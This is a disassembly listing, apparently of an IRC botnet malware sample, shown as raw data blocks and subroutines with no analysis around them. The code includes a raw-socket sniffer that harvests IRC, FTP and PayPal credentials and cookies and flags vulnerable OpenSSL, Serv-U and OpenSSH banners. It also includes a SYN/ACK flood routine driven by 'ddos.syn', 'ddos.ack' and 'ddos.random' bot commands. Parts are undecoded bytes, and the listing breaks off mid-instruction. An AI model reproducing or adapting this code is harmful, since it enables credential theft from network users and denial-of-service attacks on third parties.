100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF4015FFh dd 0BB004Ch, 6A000002h, 0F1BAE808h, 0FF900225h, 4CAF2815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434EB4h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46EC0845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E9C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E8868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434E1C08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2CEA8EE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h, 4589026Ah dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h, 3815FF5Dh dd 50004CAFh, 0FD4C858Dh, 2468FFFFh, 50004358h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0E9B9E890h, 458B022Ch, 69106AD0h, 234C0h dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 4357F868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 34E89056h dd 56022CE9h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h dd 68FFFFFDh, 4357C8h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 0E8B1E890h, 0BB53022Ch, 434EE0h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0BC68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 57AC68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h dd 8B7F048Dh, 4EF4C504h, 34FF0043h, 434ED085h, 4C858D00h dd 68FFFFFDh, 435778h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh dd 43574C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2CE712E8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDD10, eax mov eax, offset dword_4CDD10 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAFB8 lea eax, [ebp+var_3B8] push eax call dword_4CB028 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFD0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF38 push eax lea eax, [ebp+var_2B8] push offset unk_435AF8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A63h loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF50 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF38 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A63h loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAFBC cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A94 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A60 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A2C jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359F4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359BC jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 227DB7Eh dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5B2468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 2CDF5EE8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAF14 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB048 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF84 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAFA4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAFA4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAFA4 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAFA4 push 12345678h mov [ebp+var_14], ax call dword_4CAFA0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAFA4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27B0000h lea eax, [ebp+var_1C] push eax call near ptr 27A0894h nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAFA4 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAFA4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAFA0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAFA4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB008 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 27A0894h nop mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF38 push eax lea eax, [ebp+var_F4] push offset dword_435B4C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB03C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAEFC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword 